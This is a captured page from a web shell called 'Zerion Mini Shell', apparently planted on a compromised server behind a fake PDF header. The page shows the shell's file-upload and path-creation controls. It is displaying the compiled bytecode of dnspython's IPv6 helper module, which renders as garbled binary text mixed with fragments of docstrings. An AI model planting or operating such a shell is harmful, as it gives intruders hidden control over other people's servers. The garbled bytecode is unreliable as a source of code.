%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyc

�
�ac@s�dZddlZddlZddlZddlZddlmZmZm	Z	ej
d�Zd�Zej
d�Z
ej
d�Zej
d	�Zd
�ZdZd�ZdS(sIPv6 helper functions.i����Ni(txrangetbinary_typetmaybe_decodes
0+([0-9a-f]+)cCs5t|�dkr!td��ntj|�}g}d}t|�}xk||kr�t|||d!�}tj|�}|dk	r�|jd�}n|j	|�|d7}qKWd}d}d}	t
}
xvtd�D]h}||dkr.|
rC|}||	}||kr"|	}|}nt
}
qCq�|
s�|}	t}
q�q�W|
r{d}||	}||kr{|	}|}q{n|dkr"|dkr�|d	ks�|d
kr�|d
dkr�|d	kr�d}
nd
}
|
t
jj|d�}q1dj|| �ddj|||�}ndj|�}|S(s�Convert an IPv6 address in binary form to text form.

    *address*, a ``binary``, the IPv6 address in binary form.

    Raises ``ValueError`` if the address isn't 16 bytes long.
    Returns a ``text``.
    is IPv6 addresses are 16 bytes longiiii����it0iitffffs::s::ffff:it:N(tlent
ValueErrortbinasciithexlifyRt
_leading_zerotmatchtNonetgrouptappendtFalseRtTruetdnstipv4t	inet_ntoatjoin(taddressthextchunkstitltchunktmt
best_starttbest_lentstartt
last_was_zerotendtcurrent_lentprefix((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyRs^	

	

	s(.*):(\d+\.\d+\.\d+\.\d+)$s::.*s.*::$c
Csrt|t�s|j�}n|dkr3d}ntj|�}|dk	r�ttjj	|j
d���}dj|j
d�j�|d|d|d|d�j�}nt
j|�}|dk	r�|d}n(tj|�}|dk	r|d }n|jd	�}t|�}|d
kr8tjj�nt}g}x�|D]�}|dkr�|rrtjj�nt}x�tdd
|d�D]}|jd�q�WqKt|�}	|	d
kr�tjj�n|	d
kr�dd
|	|}n|j|�qKW|d
kr%|r%tjj�ndj|�}ytj|�SWn&tjtfk
rmtjj�nXdS(s�Convert an IPv6 address in text form to binary form.

    *text*, a ``text``, the IPv6 address in textual form.

    Returns a ``binary``.
    s::s0::iu{}:{:02x}{:02x}:{:02x}{:02x}iiii����Ritt0000iRN(t
isinstanceRtencodet
_v4_endingRRt	bytearrayRRt	inet_atonR
tformattdecodet_colon_colon_startt_colon_colon_endtsplitRt	exceptiontSyntaxErrorRRRRRRt	unhexlifytErrort	TypeError(
ttextRtbRRt
seen_emptyt	canonicaltcRtlc((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyR)dsT	!


si
s��cCs
|jt�S(s�Is the specified address a mapped IPv4 address?

    *address*, a ``binary`` is an IPv6 address in binary form.

    Returns a ``bool``.
    (t
startswitht_mapped_prefix(R((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyt	is_mapped�ss
s��(t__doc__treRt
dns.exceptionRtdns.ipv4t_compatRRRtcompileR
RR'R,R-R)R;R<(((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyt<module>s	C	G

Zerion Mini Shell 1.0